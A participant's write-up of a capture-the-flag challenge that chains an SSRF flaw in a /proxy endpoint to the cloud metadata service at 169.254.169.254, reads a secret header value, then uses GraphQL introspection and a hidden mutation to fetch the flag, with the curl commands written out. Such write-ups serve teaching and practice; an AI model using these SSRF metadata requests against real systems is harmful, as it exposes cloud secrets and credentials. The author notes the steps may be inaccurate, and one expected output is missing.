Brandon Wolfe

This writeup details my process for solving the GraphQL Heist CTF challenge from the DoD's Cyber Sentinel CTF, June 2025. The challenge required chaining a Server-Side Request Forgery (SSRF) vulnerability with GraphQL introspection to ultimately get the flag. Since I'm doing this writeup just for placing top 10 and it's a few days after the competition I can't guarantee everything will be 100% accurate, especially as the server appears to no longer be up so I cannot test my commands.

My first goal was to abuse the /proxy endpoint to access the internal cloud metadata service, which is typically located at http://169.254.169.254. I started by trying to list the contents of the instance attributes directory to see what secrets might be stored there.
Command:
curl
"http://34.86.186.68:8080/proxy?url=http://169.254.169.254/computeMetadata/v1/instance/attributes/" -H "Metadata-Flavor: Google"

***Prior to this, I had tried some other curl commands that had failed with an "invalid URL" error. I looked in Slack (this writeup is post-competition) and noticed a lot of other people had said similar things. The one writeup that's been posted for this challenge states that there was probably link sanitization, so somehow I must've bypassed that or just got lucky with this specific payload.*

The server responded with X-JJ-SECRET, revealing the name of the attribute I needed to access.

Since I now know the attribute name I can craft a new request to retrieve its value directly.
Command:
curl
"http://34.86.186.68:8080/proxy?url=http://169.254.169.254/computeMetadata/v1/instance/attributes/X-JJ-SECRET" -H "Metadata-Flavor: Google"

Once I ran this command I got "S3NT1N3L". This gave me the complete header needed for the next stage: X-JJ-SECRET: S3NT1N3L

With that part complete we turn to the /graphql endpoint. The challenge notes a randomized mutation name, which means we have to perform an introspection query to find it. I ran this command first without "base64 --decode" or "jq" but the format was very jumbled and it was in base 64, so I ran the command below a second time to get a much more easily readable output.

** *Docs really messes up the formatting of these long commands so the readability of this is just not great, my apologies.*

Command:

curl -s -X POST "http://34.86.186.68:8080/graphql" \ -H "Content-Type: application/json" \ -H "X-JJ-SECRET: S3NT1N3L" \ -d '{"query": "query { __schema { mutationType { fields { name description } } } }"}' \ | base64 --decode \ | jq .

With it decoded and formatted properly it looks something like this, we're looking at the name:

So m309e5336 is our randomized mutation name.

Now we just need to construct a GraphQL mutation query with that name. I figured it may also be in base64 (I ran it once without the base64 decode prior and realized it was encoded in b64). Command:
curl -s -X POST "http://34.86.186.68:8080/graphql" \ -H "Content-Type: application/json" \ -H "X-JJ-SECRET: S3NT1N3L" \ -d '{"query": "mutation { m309e5336 }"}' | base64 --decode \ | jq .

And we get our flag!